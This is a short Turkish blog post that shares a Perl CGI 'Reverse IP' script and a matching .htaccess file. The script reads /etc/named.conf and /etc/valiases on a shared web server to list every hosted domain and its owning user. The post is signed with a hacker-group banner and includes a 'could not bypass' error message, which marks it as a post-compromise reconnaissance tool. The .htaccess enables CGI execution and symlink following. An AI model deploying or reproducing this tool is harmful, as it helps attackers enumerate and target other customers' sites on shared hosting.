Reverse IP Scripti
Selamlar arkadaşlar.Reverse IP yani sunucudaki siteleri görme scriptini sizlerle paylaşacağız.Script ve htaccess kodları aşağıdadır.
Script Kodu:
#!/usr/bin/perl -I/usr/local/bandmin
print "Content-type: text/html\n\n";
print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Language" content="en-us" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Domains & User</title>
<style type="text/css">
.newStyle1 {
background-color: #000000;
font-family: "Courier New", Courier, monospace;
font-size: large;
font-weight: bold;
color: #FFFFFF;
}
.style1 {
text-align: center;
}
</style>
</head>
<body class="newStyle1">
<p class="style1"><font color="#C0C0C0"><span lang="ar-bh">[</font><font color="#FFFF00">~</font><font color="#C0C0C0">]
</font></span><font color="#C0C0C0">Domain</font><font color="#FFFF00"><span lang="ar-bh">@</span></font><font color="#C0C0C0">Kullanıcı'lar
</font><font color="#FFFF00">:#<span lang="ar-bh">~</span></font></p>
<p class="style1"><font color="#FFFF00">[e�kilat-i İslam Ordusu-WWW.USTAPC.ORG]<span lang="ar-bh"></span></font></p>
';
open (d0mains, '/etc/named.conf') or $err=1;
@kr = <d0mains>;
close d0mains;
if ($err){
print ('<p class="style1"> </p><p class="style1"><font color="#FFFF00">Bypass Edemedim amk</font></p>');
die();
}else{
print '<p class="style1"> </p>
<p class="style1">Server Domain'leri & Kullanıcı'lar : </p>
<font color="#FFFF00">';}
foreach my $one (@kr)
{
if($one =~ m/.*?zone "(.*?)" {/){
$filename= "/etc/valiases/".$1;
$owner = getpwuid((stat($filename))[4]);
print '</font><p class="style1"><font color="red">'.$1.' : '.$owner.'</font></p>
<font color="#FFFF00">';
}
}
print'</body></html>';
</font>
.htaccess
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .pl
AddHandler cgi-script .pl
AddHandler cgi-script .pl
Hiç yorum yok: